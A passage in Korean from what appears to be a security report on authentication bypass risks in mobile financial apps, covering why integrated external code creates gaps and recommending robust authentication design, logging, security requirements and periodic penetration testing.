- 외부에서 개발한 코드를 통합하였기 때문에 코드에 대한 이해도가 떨어지고, 복잡한 인증 절차가 맞물려 연계 및 검증에 허점이 발생
- 또한 수정 또는 변경사항이 있을 시 유지보수를 위해 코드를 수정하는 과정에 문제가 발생 가능
2.5 대응방안
① 견고한 인증 프로세스 설계
- 여러 인증 수단의 복잡한 사용과 외부 인증기관과의 복잡한 연계로 견고한 인증 프로세스 설계가 필요
- 모든 발생 가능한 공격 유형에 대비하고, 그 결과를 서비스 최종 요청 처리 시 확인할 수 있도록 설계해야 함
- 인증 과정과 관련된 로그를 남기고 이상 행위를 탐지할 수 있도록 설계
② 인증 절차 구현 시 보안 요구사항 적용
- 인증 수단별로 발생 가능한 모든 취약점 유형을 고려하여 보안 요구사항을 적용
- 다양한 인증 서비스 코드를 통합하고 유지보수하는 과정에서도 이러한 요구사항이 적용될 수 있도록 해야 함
- 하나의 인증 수단 뿐만 아니라 전체 인증 절차를 연계하는 과정에서도 요구사항을 충족하는지 검증 및 보완
③ 인증 우회 취약점 분석 및 대응
- 불가피한 사유로 인증 우회 취약점이 남아있거나 기능 수정 등을 통해 새롭게 발생 가능
- 주기적인 취약점 분석과 모의해킹을 통해 잠재 위협을 제거
- 대목적을 두고 공격 방식의 제한없이 수행하는 모의해킹을 통해 위협을 식별
[사진 3] 대응방안 요약
2.6 결론
- 모바일 앱을 통한 금융 서비스 이용이 보편화되면서 비대면 신원 확인의 중요성이 증가
- 하나의 인증 수단이 우회되어도, 다른 인증 수단으로 신원을 확인하여 부정 행위를 차단할 수 있도록 복합적인 인증 절차가 정확히, 제대로 구현되어야 함